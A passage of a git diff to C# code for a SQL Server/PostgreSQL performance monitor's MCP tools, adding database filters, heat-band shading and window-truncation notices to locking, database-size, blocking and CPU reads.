+                          + "indexes there. This says nothing about databases outside the filter — raise limit to see more.")
                     : "Complete: every index matching this filter at the latest snapshot is included.",
                 indexes = result
             }, McpHelpers.JsonOptions);
@@ -252,23 +313,104 @@ capability check still runs first — a wrong-engine target has no index_object_
         }
     }
 
+    /// <summary>
+    /// #5245 M4: how a sentence names the databases a locking or usage read was asked about. Null for every database;
+    /// <c>database 'X'</c> for one name (the wording the one-name reads already used); "the chosen databases" for a
+    /// list. Never a verdict about a database the read did not look at.
+    /// </summary>
+    internal static string? DescribeScope(DatabaseFilter databases) =>
+        databases.IsAll ? null
+        : databases.Names.Count == 1 ? $"database '{databases.Names[0]}'"
+        : databases.Describe();
+
+    /// <summary>
+    /// #5245 M4: whether the Azure master "monitored as their own servers" note still describes the page. It says
+    /// events from those databases are among the rows, which stops being true when the chosen databases hold none of
+    /// them, so a filtered call keeps the note only when a chosen name is one of the separately monitored databases.
+    /// An unfiltered call keeps it whenever the resolver found any, as before.
+    /// </summary>
+    internal static bool SeparatelyMonitoredInScope(IReadOnlyList<string>? separate, DatabaseFilter databases) =>
+        separate is not null
+        && (databases.IsAll || separate.Any(sep => databases.Names.Contains(sep, StringComparer.OrdinalIgnoreCase)));
+
+    /// <summary>How many discrete bands a Locking cell's shade falls into: the web's <c>.heat-band-0</c> to <c>.heat-band-7</c> classes.</summary>
+    internal const int ObjectLockingHeatBandCount = 8;
+
+    /// <summary>
+    /// #5311: the four shaded columns' bands for each row, <c>[row lock, page lock, page latch, page I/O latch]</c>, the
+    /// desktop's way (<c>FinOpsTab.Locking</c>'s <c>ApplyLockingHeat</c>): each column on its OWN log scale over the rows
+    /// given (<see cref="FinOpsHeatmapBuilder.ColumnLogIntensities"/>), then the intensity cut into
+    /// <see cref="ObjectLockingHeatBandCount"/> bands (<c>floor(intensity * count)</c>, the top one reached at the column's
+    /// largest). A zero value has no band (null): the desktop leaves it unshaded.
+    /// </summary>
+    internal static int?[][] ObjectLockingHeatBands(IReadOnlyList<DarlingObjectStatsReader.IndexLockingRow> rows)
+    {
+        static int?[] Band(double[] intensities) =>
+            intensities.Select(i => i > 0 ? (int?)Math.Clamp((int)Math.Floor(i * ObjectLockingHeatBandCount), 0, ObjectLockingHeatBandCount - 1) : null).ToArray();
+        var rowLock = Band(FinOpsHeatmapBuilder.ColumnLogIntensities(rows.Select(r => r.RowLockWaitInMs).ToList()));
+        var pageLock = Band(FinOpsHeatmapBuilder.ColumnLogIntensities(rows.Select(r => r.PageLockWaitInMs).ToList()));
+        var pageLatch = Band(FinOpsHeatmapBuilder.ColumnLogIntensities(rows.Select(r => r.PageLatchWaitInMs).ToList()));
+        var pageIo = Band(FinOpsHeatmapBuilder.ColumnLogIntensities(rows.Select(r => r.PageIoLatchWaitInMs).ToList()));
+        return rows.Select((_, i) => new[] { rowLock[i], pageLock[i], pageLatch[i], pageIo[i] }).ToArray();
+    }
+
+    /// <summary>#5311: each serialized row with its <c>heat</c> list added (web only).</summary>
+    private static List<object> WithHeat(IEnumerable<object> rows, int?[][] heat) =>
+        rows.Select((row, i) =>
+        {
+            var node = JsonSerializer.SerializeToNode(row, McpHelpers.JsonOptions)!.AsObject();
+            node["heat"] = JsonSerializer.SerializeToNode(heat[i], McpHelpers.JsonOptions);
+            return (object)node;
+        }).ToList();
+
+    /// <summary>
+    /// The web Locking page's read (#5311): <c>get_object_locking</c>'s answer for <paramref name="databases"/> with each
+    /// row's <c>heat</c> bands added, computed over the filtered, capped page. The MCP tool never calls this, so its
+    /// schema and payload stay as they were.
+    /// </summary>
+    internal static async Task<string> GetObjectLockingWithHeatAsync(
+        NpgsqlDataSource postgres, string? server_name, int limit, MonitoredServerRegistryState? registryState,
+        DatabaseFilter databases, CancellationToken cancellationToken)
+    {
+        var validation = McpHelpers.ValidateTop(limit);
+        if (validation != null) return validation;
+
+        return await GetObjectLockingCoreAsync(postgres, server_name, limit, registryState, null, cancellationToken, databases, heat: true);
+    }
+
     [McpServerTool(Name = "get_object_locking"), Description("Gets per-index locking and latch contention (row/page lock waits in ms, lock escalations, page-latch and page-IO-latch waits) from the latest daily snapshot, top contended objects first. Use to find tables/indexes driving blocking and contention. Counters are cumulative since the last instance restart. LATEST IS A TIME: this reads the newest index/object snapshot for the server, not a window, and captured_at is the instant it was collected - these are the databases and indexes that existed AT that stamp, and because object stats are collected DAILY the stamp can be most of a day old on a healthy server and older still on one whose collector has stalled.")]
     public static async Task<string> GetObjectLocking(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Maximum rows to return. Default 75.")] int limit = ObjectLockingTop,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
         MonitoredServerRegistryState? registryState = null,
         CancellationToken cancellationToken = default)
     {
         var validation = McpHelpers.ValidateTop(limit);
         if (validation != null) return validation;
 
-        return await GetObjectLockingCoreAsync(postgres, server_name, limit, registryState, null, cancellationToken);
+        /* #5231: database_name is the LAST schema parameter (the two after it are injected, not in the schema), the
+           shape Lite's twin has. Blank or whitespace means no filter, exactly as get_index_usage reads it. */
+        return await GetObjectLockingCoreAsync(postgres, server_name, limit, registryState, null, cancellationToken, DatabaseFilter.One(database_name));
     }
 
+    /// <summary>
+    /// get_object_locking's body. #5245: <paramref name="databases"/> (last, so positional callers keep compiling) is
+    /// <see cref="DatabaseFilter.All"/> for every database; otherwise only the CHOSEN databases' rows are ranked and
+    /// capped, the page is the top <paramref name="limit"/> of them, and <c>captured_at</c> is still the SERVER's
+    /// newest capture (a filter picks rows, never a different snapshot).
+    /// <para>One-name consumers made list-aware (#5245 M4): the optimized-locking note (only the chosen databases'
+    /// flags count); the Azure master "separately monitored" note (kept only when a chosen database is one of them);
+    /// the truncation and complete notes and the unavailable envelope (each names the filter). A filtered call that
+    /// finds nothing probes the whole server once: contention elsewhere makes it <c>empty</c> ("the chosen databases
+    /// have none"). #5372: no contention anywhere is <c>empty</c> too when the latest snapshot holds index rows (the
+    /// collector looked), and <c>unavailable</c> / not-collected only when it holds none.</para>
+    /// </summary>
     internal static async Task<string> GetObjectLockingCoreAsync(
         NpgsqlDataSource postgres, string? server_name, int limit, MonitoredServerRegistryState? registryState,
-        Func<int, CancellationToken, Task<IReadOnlyList<string>?>>? resolver, CancellationToken cancellationToken)
+        Func<int, CancellationToken, Task<IReadOnlyList<string>?>>? resolver, CancellationToken cancellationToken,
+        DatabaseFilter databases = default, bool heat = false)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -278,22 +420,59 @@ internal static async Task<string> GetObjectLockingCoreAsync(
             /* #4198: limit + 1 as the fetch, the extra row as the OBSERVED truncation signal (#3653's
                dialect) -- McpHelpers.BoundPage trims the page back to `limit`, so objects_returned below is
                always a count of the page and never of the over-fetch. */
-            var fetched = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, resolved.ServerId, limit + 1, cancellationToken);
+            var fetched = await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, resolved.ServerId, limit + 1, databases, cancellationToken);
             var (rows, truncated) = McpHelpers.BoundPage(fetched, limit);
 
-            var optimizedLockingNote = await DarlingObjectStatsReader.GetOptimizedLockingNoteAsync(postgres, resolved.ServerId, cancellationToken);
-            /* #4925: a master's rows stay; this line says why its separately monitored databases' rows are among them. */
+            var optimizedLockingNote = await DarlingObjectStatsReader.GetOptimizedLockingNoteAsync(postgres, resolved.ServerId, databases, cancellationToken);
+            /* #4925: a master's rows stay; this line says why its separately monitored databases' rows are among them.
+               #5245: a filtered call keeps it only when a chosen database is one of them. */
             var separate = await DarlingMcpBlockingTools.SeparatelyMonitoredForAsync(postgres, registryState, resolved.ServerId, cancellationToken, resolver);
-            var separatelyMonitoredNote = separate is null ? null : AzureMasterScope.SeparatelyMonitoredListNote;
+            var separatelyMonitoredNote = SeparatelyMonitoredInScope(separate, databases) ? AzureMasterScope.SeparatelyMonitoredListNote : null;
+            var scope = DescribeScope(databases);
+            var inScope = scope is null ? "" : " in " + scope;
 
             if (rows.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", cancellationToken)
-                    ?? McpHelpers.Status("unavailable",
-                        "No locking/contention data recorded. Index/object stats are collected daily."
+            {
+                /* #5245: the chosen databases having no contention is a different answer from the server having
+                   none, so a filtered empty read looks at the whole server once (limit 1, the anchor is the same). */
+                if (scope is not null
+                    && (await DarlingObjectStatsReader.GetIndexLockingAsync(postgres, resolved.ServerId, 1, cancellationToken)).Count > 0)
+                {
+                    return McpHelpers.Status("empty",
+                        $"No lock/latch contention{inScope} on {resolved.ServerName} at the latest snapshot, though other databases on "
+                        + $"the server have some. Check the database {(databases.Names.Count == 1 ? "name" : "names")} against get_database_sizes "
+                        + "— the filter matches exactly, and an excluded or renamed database looks identical to one with no contention."
+                        + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
+                        optimizedLockingNote is null && separatelyMonitoredNote is null
+                            ? null
+                            : new { optimized_locking_note = optimizedLockingNote, separately_monitored_note = separatelyMonitoredNote });
+                }
+
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", cancellationToken);
+                if (notCollected is not null) return notCollected;
+
+                /* #5372 (r2 Low): a latest snapshot that holds index rows, none of them contended, is a TRUE negative: the
+                   collector looked and found nothing, so the word is `empty` (the server instructions' "looked, found
+                   nothing"). `unavailable` is kept for a server with no snapshot at all, data it could have and does not
+                   have now. The same sentence shape as Lite's twin. */
+                if (await DarlingObjectStatsReader.GetIndexUsageMatchCountAsync(postgres, resolved.ServerId, DatabaseFilter.All, cancellationToken) > 0)
+                {
+                    return McpHelpers.Status("empty",
+                        "No lock/latch contention" + (scope is null ? "" : $"{inScope} or in any other database")
+                        + $" on {resolved.ServerName} at the latest snapshot."
+                        + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
+                        optimizedLockingNote is null && separatelyMonitoredNote is null
+                            ? null
+                            : new { optimized_locking_note = optimizedLockingNote, separately_monitored_note = separatelyMonitoredNote });
+                }
+
+                return McpHelpers.Status("unavailable",
+                        "No locking/contention data recorded" + (scope is null ? "" : $" for {scope}, or for any other database on this server") + ". Index/object stats are collected daily."
                         + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
                         optimizedLockingNote is null && separatelyMonitoredNote is null
                             ? null
                             : new { optimized_locking_note = optimizedLockingNote, separately_monitored_note = separatelyMonitoredNote });
+            }
 
             var result = rows.Select(r => new
             {
@@ -313,6 +492,10 @@ optimizedLockingNote is null && separatelyMonitoredNote is null
                 page_io_latch_wait_ms = r.PageIoLatchWaitInMs
             });
 
+            /* #5311: the web page's heat shading. Banded over THIS page (the filtered, capped rows), then each row
+               gains `heat`; the MCP call never asks for it, so its rows keep exactly the fields above. */
+            IEnumerable<object> objectRows = heat ? WithHeat(result, ObjectLockingHeatBands(rows)) : result;
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
@@ -330,14 +513,65 @@ agent reads a 23-hour-old contention picture as "now". */
                 /* #4198: no separate match-count query (unlike get_index_usage) -- BoundPage's over-fetch
                    only OBSERVES "more than limit", not how many more, so the note says that and no more. */
                 note = truncated
-                    ? $"TRUNCATED: more than {rows.Count:N0} indexes have lock/latch contention at the latest "
+                    ? $"TRUNCATED: more than {rows.Count:N0} indexes have lock/latch contention{inScope} at the latest "
                       + "snapshot. Rows are ordered by total wait time (row lock + page lock + page latch + "
                       + "page I/O latch) descending, so the highest-contention indexes are returned first; "
                       + "raise limit to see more."
-                    : "Complete: every index with lock/latch contention at the latest snapshot is included.",
+                    : $"Complete: every index with lock/latch contention{inScope} at the latest snapshot is included.",
                 optimized_locking_note = optimizedLockingNote,
                 separately_monitored_note = separatelyMonitoredNote,
-                objects = result
+                objects = objectRows
+            }, McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_object_locking", ex);
+        }
+    }
+
+    /* The detail read sits after get_object_locking's body so the latest-snapshot-stamp census reads its captured_at as part of
+       that (stamped, rostered) tool, not as part of get_index_usage above it. */
+    /// <summary>
+    /// #5311: the web Locking page's detail pane. One index, named exactly by <paramref name="database"/>, schema, table
+    /// and <paramref name="index"/> (null names a heap), answered with the four counters the list leaves out: row lock
+    /// count, page lock count, page latch wait count, page I/O latch wait count, from the server's newest capture
+    /// (<c>captured_at</c> is that capture). An index the latest capture does not hold answers an <c>empty</c> status
+    /// sentence, never an error. WEB ONLY: the MCP <c>get_object_locking</c> has no such selector, and its schema and
+    /// payload are unchanged. The names bind as parameters; the caller has checked that none is blank.
+    /// </summary>
+    internal static async Task<string> GetObjectLockingDetailAsync(
+        NpgsqlDataSource postgres, string? server_name,
+        string database, string schema, string table, string? index, CancellationToken cancellationToken)
+    {
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var row = await DarlingObjectStatsReader.GetIndexLockingDetailAsync(
+                postgres, resolved.ServerId, DatabaseFilter.One(database), schema, table, index, cancellationToken);
+            if (row is null)
+            {
+                return McpHelpers.Status("empty",
+                    $"No such index in the latest snapshot of {resolved.ServerName}: the page's database, schema, table and index "
+                    + "names must match exactly, and an index dropped or renamed since the list was read is no longer there.");
+            }
+
+            return JsonSerializer.Serialize(new
+            {
+                server = resolved.ServerName,
+                captured_at = row.CollectionTime.ToString("o"),
+                detail = new
+                {
+                    database_name = row.DatabaseName,
+                    schema_name = row.SchemaName,
+                    table_name = row.TableName,
+                    index_name = row.IndexName,
+                    row_lock_count = row.RowLockCount,
+                    page_lock_count = row.PageLockCount,
+                    page_latch_wait_count = row.PageLatchWaitCount,
+                    page_io_latch_wait_count = row.PageIoLatchWaitCount
+                }
             }, McpHelpers.JsonOptions);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
@@ -347,22 +581,54 @@ agent reads a 23-hour-old contention picture as "now". */
     }
 
     [McpServerTool(Name = "get_database_sizes"), Description("Gets database file sizes, space usage, and volume free space. Shows each database file with total size, used space, auto-growth settings, and the underlying volume's capacity. Use for capacity planning and identifying space pressure. LATEST IS A TIME: this reads the newest size snapshot, not a window, and captured_at is the instant it was collected - a volume's free space here is what it was AT that stamp, and a file that grew since is not reflected until the next collection.")]
-    public static async Task<string> GetDatabaseSizes(
+    public static Task<string> GetDatabaseSizes(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetDatabaseSizes(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5244: get_database_sizes over a SET of databases (<see cref="DatabaseFilter.All"/> = every database): the files of the
+    /// chosen databases at the server's newest snapshot (the snapshot never moves with the filter, so <c>captured_at</c> is the
+    /// same for a filtered and an unfiltered call).
+    /// <para>One-name consumers made list-aware (#5244 M4), on the empty path: a filter that matches no database is <c>empty</c>
+    /// ("for the database 'X'" or "for the chosen databases", with the snapshot's time), never <c>unavailable</c>, which stays
+    /// "no size snapshot at all". The read has no truncation sentence. Every answer shape carries the <c>database_name</c> echo
+    /// (the name, "the chosen databases", or null for every database).</para>
+    /// </summary>
+    internal static async Task<string> GetDatabaseSizes(
+        NpgsqlDataSource postgres, string? server_name, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
         try
         {
-            var rows = await DarlingObjectStatsReader.GetLatestDatabaseSizesAsync(postgres, resolved.ServerId, cancellationToken);
+            var rows = await DarlingObjectStatsReader.GetLatestDatabaseSizesAsync(postgres, resolved.ServerId, databases, cancellationToken);
             if (rows.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_size_stats", cancellationToken)
-                    ?? McpHelpers.Status("unavailable", "No database size data available. The size collector may not have run yet.");
+            {
+                /* #5244: when the server HAS a size snapshot and the chosen databases are not in it, the answer is about the
+                   chosen databases, not about collection. The probe is the same newest-snapshot resolver the read used. */
+                if (!databases.IsAll
+                    && await DarlingObjectStatsReader.GetLatestSnapshotTimeAsync(postgres, resolved.ServerId, cancellationToken) is { } snapshot)
+                {
+                    return McpHelpers.StatusForDatabase(
+                        "empty",
+                        $"No database size rows for {DescribeScope(databases)} on {resolved.ServerName} in the snapshot captured at "
+                        + $"{snapshot:o}. Check the database {(databases.Names.Count == 1 ? "name" : "names")} against the server's "
+                        + "unfiltered get_database_sizes: the filter matches exactly, and an excluded or renamed database looks identical "
+                        + "to one with no files.",
+                        databases.Describe());
+                }
+
+                return McpHelpers.WithDatabase(
+                           await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_size_stats", cancellationToken),
+                           databases.Describe())
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No database size data available. The size collector may not have run yet.", databases.Describe());
+            }
 
-            return DatabaseSizesPayload(resolved.ServerName, rows);
+            return DatabaseSizesPayload(resolved.ServerName, rows, databases.Describe());
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -378,8 +644,10 @@ public static async Task<string> GetDatabaseSizes(
     /// gets holds its data size only, and the server reports no log size for it: that row, and its database's
     /// entry, carry <see cref="AzureSiblingDatabaseSize.LogNote"/> under <see cref="AzureSiblingDatabaseSize.RowNoteKey"/>,
     /// and the top-level note says it too. No other row has the key. Lite's twin gives the same words and shape.
+    /// <paramref name="databaseEcho"/> (#5244) is the <c>database_name</c> echo: the name, "the chosen databases", or null for
+    /// every database; the key is always written.
     /// </summary>
-    internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<DarlingObjectStatsReader.DatabaseSizeRow> rows)
+    internal static string DatabaseSizesPayload(string serverName, IReadOnlyList<DarlingObjectStatsReader.DatabaseSizeRow> rows, string? databaseEcho = null)
     {
         var databases = rows
             .GroupBy(r => r.DatabaseName)
@@ -413,6 +681,7 @@ same words. */
             return JsonSerializer.Serialize(new
             {
                 server = serverName,
+                database_name = databaseEcho,
                 /* #3653: captured_at, the #3637 census's one spelling for a latest read's stamp - see
                    DarlingMcpDataTools.GetServerProperties for why it is a cut-over and not an alias. */
                 captured_at = rows[0].CollectionTime.ToString("o"),
@@ -425,6 +694,7 @@ same words. */
         return JsonSerializer.Serialize(new
         {
             server = serverName,
+            database_name = databaseEcho,
             /* #3653: captured_at, the #3637 census's one spelling for a latest read's stamp - see
                DarlingMcpDataTools.GetServerProperties for why it is a cut-over and not an alias. */
             captured_at = rows[0].CollectionTime.ToString("o"),
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgBlockingTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgBlockingTools.cs
index 14154ca361..af31047bb0 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgBlockingTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgBlockingTools.cs
@@ -14,6 +14,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -84,6 +85,7 @@ public static async Task<string> GetPgBlocking(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum chains to return, worst-first by victim count. Default 50.")] int limit = 50,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -118,10 +120,15 @@ tool would report "no blocking" from a capture that recorded a deadlock. */
             if (chains.Count == 0 && cycleEntries.Count > 0)
             {
                 /* Cycles but no chains. Reporting "no blocking sampled" here would be a flat lie. */
-                return JsonSerializer.Serialize(new
+                var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_blocking", resolved.ServerName, startUtc, now, emptyAnswer: false, logger, cancellationToken);
+                return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
                 {
                     server = resolved.ServerName,
                     hours_back,
+                    effective_start = notice.EffectiveStart,
+                    window_truncated = notice.WindowTruncated,
+                    truncation_note = notice.TruncationNote,
                     status = "cycles_only",
                     captures_total = captures.CapturesTotal,
                     captures_with_blocking = captures.CapturesWithBlocking,
@@ -130,7 +137,7 @@ tool would report "no blocking" from a capture that recorded a deadlock. */
                         + "(deadlock) rather than a chain with a root. There is no root blocker to name, "
                         + "which is why these are reported separately.",
                     cycles = cycleEntries,
-                }, McpHelpers.JsonOptions);
+                }, McpHelpers.JsonOptions), notice);
             }
 
             if (chains.Count == 0)
@@ -153,11 +160,18 @@ tool would report "no blocking" from a capture that recorded a deadlock. */
                    a sampled signal. No captures at all means the collector never ran — nothing is known
                    about this window either way. Captures with no blocking is a real all-clear, bounded by
                    the sampling interval. */
-                return JsonSerializer.Serialize(new
+                /* #4966: only the all-clear (captures, no blocking) is an empty answer that carries the window floor under hints; "not_sampled"
+                   says the collector never ran in the window and stays bare. */
+                var emptyNotice = captures.CapturesTotal == 0
+                    ? McpWindowNotice.Unavailable
+                    : await DarlingMcpWindowNotice.ReadForToolAsync(
+                        postgres, "get_pg_blocking", resolved.ServerName, startUtc, now, emptyAnswer: true, logger, cancellationToken);
+                return DarlingMcpWindowNotice.FinishEmpty(JsonSerializer.Serialize(new
                 {
                     server = resolved.ServerName,
                     hours_back,
                     status = captures.CapturesTotal == 0 ? "not_sampled" : "no_blocking_sampled",
+                    hints = emptyNotice.AsHints(),
                     captures_total = captures.CapturesTotal,
                     captures_with_blocking = 0,
                     first_capture_at = captures.FirstCaptureAt,
@@ -170,11 +184,13 @@ the sampling interval. */
                         + "window. Note the limit of that statement: captures are periodic, so blocking that "
                         + "started and cleared between two of them left no trace. PostgreSQL has no "
                         + "engine-side blocked-process recorder to fall back on.",
-                }, McpHelpers.JsonOptions);
+                }, McpHelpers.JsonOptions), emptyNotice);
             }
 
+            var chainsNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_blocking", resolved.ServerName, startUtc, now, emptyAnswer: false, logger, cancellationToken);
             return BuildBlockingChainsJson(
-                resolved.ServerName, hours_back, chains, cycleEntries, captures);
+                resolved.ServerName, hours_back, chains, cycleEntries, captures, chainsNotice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -223,8 +239,10 @@ internal static string BuildBlockingChainsJson(
         int hoursBack,
         IReadOnlyList<DarlingPgBlockingReader.PgBlockingChainRow> chains,
         List<object> cycleEntries,
-        DarlingPgBlockingReader.PgBlockingCaptureCounts captures)
+        DarlingPgBlockingReader.PgBlockingCaptureCounts captures,
+        McpWindowNotice? windowNotice = null)
     {
+        var notice = windowNotice ?? McpWindowNotice.Unavailable;
         var entries = chains.Select(c => new
         {
             captured_at = c.CapturedAt,
@@ -274,10 +292,14 @@ range where consecutive doubles are 2 apart. Half of all backend ids are therefo
 
         var worst = entries[0];
 
-        return JsonSerializer.Serialize(new
+        return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            /* #4966: the window floor, right after hours_back. */
+            effective_start = notice.EffectiveStart,
+            window_truncated = notice.WindowTruncated,
+            truncation_note = notice.TruncationNote,
             status = "blocking_sampled",
             captures_total = captures.CapturesTotal,
             captures_with_blocking = captures.CapturesWithBlocking,
@@ -298,6 +320,6 @@ range where consecutive doubles are 2 apart. Half of all backend ids are therefo
             /* Always present, even when empty, so its absence is never mistaken for "not checked". */
             cycles_sampled = cycleEntries.Count,
             cycles = cycleEntries,
-        }, McpHelpers.JsonOptions);
+        }, McpHelpers.JsonOptions), notice);
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs
index eb18e815e8..44f6483621 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -43,15 +44,16 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 [McpServerToolType]
 public sealed class DarlingMcpPgCpuUtilizationTools
 {
-    [McpServerTool(Name = "get_pg_cpu_utilization"), Description("Gets instance-level CPU for a PostgreSQL/Aurora target from AWS Performance Insights, in time buckets (bucket_minutes) to as_of. Aurora only; RDS and self-hosted are not_collected. cpu_percent is percent of capacity CURRENTLY ALLOCATED, not a fixed ceiling - on Serverless v2 that moves, so 100% is often a scale-up, not saturation. acu_utilization_percent is percent of the CONFIGURED ceiling, the saturation figure; null ACU means no sample, never headroom. Host-memory bytes (since V136) are null when unmeasured; memory_samples_in_bucket is the count. <<GUIDE>> Gets instance-level CPU utilization over time for a PostgreSQL/Aurora target, from AWS Performance Insights, bucketed to a point budget the same way get_cpu_utilization is (#4193, the #3897 TrendBuckets contract) rather than one row per raw 1-minute sample. Aurora only - a plain RDS or self-hosted target has no route here and this is not_collected for it; Performance Insights could reach plain RDS too, but no monitored target is that shape yet. cpu_percent is os.cpuUtilization.total.avg, which is percent of the capacity CURRENTLY ALLOCATED: on Aurora Serverless v2 that allocation moves, so 100% is routinely a scale-up rather than saturation. acu_utilization_percent (os.general.acuUtilization.avg) is percent of the CONFIGURED ACU ceiling and is the saturation figure - band and alert on that one. Both are reported per bucket as the AVERAGE of the bucket's samples, with peak_cpu_percent/peak_acu_utilization_percent holding the single busiest sample, so a saturation minute is never averaged away by a wide bucket; a null ACU figure means no capacity sample in that bucket, never headroom. Since V136 the same row carries the HOST'S MEMORY from Performance Insights' os.memory.* counters, in bytes: memory_total_bytes, memory_cached_bytes, memory_buffers_bytes and configured_memory_bytes are the bucket's average; memory_free_bytes and memory_active_bytes are its WORST sample (minimum free, maximum active) rather than an average, so a brief pressure spike survives a wide bucket - the figures the PG_HOST_MEMORY_PRESSURE and CONFIG_PG_MEMORY_OVERCOMMIT facts are measured against (get_analysis_facts source=pg_memory). Every memory figure is null on a pre-V136 row or an endpoint without os.memory.*, and null means not measured, never zero memory; memory_samples_in_bucket says how many samples carried it.")]
+    [McpServerTool(Name = "get_pg_cpu_utilization"), Description("Gets instance-level CPU for a PostgreSQL/Aurora target from AWS Performance Insights, in time buckets (bucket_minutes) to as_of. Aurora only; RDS and self-hosted are not_collected. cpu_percent is percent of capacity CURRENTLY ALLOCATED, not a fixed ceiling - on Serverless v2 that moves, so 100% is often a scale-up, not saturation. acu_utilization_percent is percent of the CONFIGURED ceiling, the saturation figure; null ACU means no sample, never headroom. Host-memory bytes (since V136) are null when unmeasured; memory_samples_in_bucket is the count. <<GUIDE>> Gets instance-level CPU utilization over time for a PostgreSQL/Aurora target, from AWS Performance Insights, bucketed to a point budget the same way get_cpu_utilization is (#4193, the #3897 TrendBuckets contract) rather than one row per raw 1-minute sample. hours_back reaches 720 (30 days). Aurora only - a plain RDS or self-hosted target has no route here and this is not_collected for it; Performance Insights could reach plain RDS too, but no monitored target is that shape yet. cpu_percent is os.cpuUtilization.total.avg, which is percent of the capacity CURRENTLY ALLOCATED: on Aurora Serverless v2 that allocation moves, so 100% is routinely a scale-up rather than saturation. acu_utilization_percent (os.general.acuUtilization.avg) is percent of the CONFIGURED ACU ceiling and is the saturation figure - band and alert on that one. Both are reported per bucket as the AVERAGE of the bucket's samples, with peak_cpu_percent/peak_acu_utilization_percent holding the single busiest sample, so a saturation minute is never averaged away by a wide bucket; a null ACU figure means no capacity sample in that bucket, never headroom. Since V136 the same row carries the HOST'S MEMORY from Performance Insights' os.memory.* counters, in bytes: memory_total_bytes, memory_cached_bytes, memory_buffers_bytes and configured_memory_bytes are the bucket's average; memory_free_bytes and memory_active_bytes are its WORST sample (minimum free, maximum active) rather than an average, so a brief pressure spike survives a wide bucket - the figures the PG_HOST_MEMORY_PRESSURE and CONFIG_PG_MEMORY_OVERCOMMIT facts are measured against (get_analysis_facts source=pg_memory). Every memory figure is null on a pre-V136 row or an endpoint without os.memory.*, and null means not measured, never zero memory; memory_samples_in_bucket says how many samples carried it.")]
     public static Task<string> GetPgCpuUtilization(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 4.")] int hours_back = 4,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default) =>
-        GetPgCpuUtilization(postgres, server_name, hours_back, as_of, bucket_minutes, TrendBudget.Mcp(TrendBuckets.PgCpuMaxPoints), cancellationToken);
+        GetPgCpuUtilization(postgres, server_name, hours_back, as_of, bucket_minutes, TrendBudget.Mcp(TrendBuckets.PgCpuMaxPoints), logger, cancellationToken);
 
     /// <summary>
     /// get_pg_cpu_utilization under an explicit <paramref name="budget"/> (#4193): the MCP tool passes its own,
@@ -59,12 +61,13 @@ public static Task<string> GetPgCpuUtilization(
     /// </summary>
     internal static async Task<string> GetPgCpuUtilization(
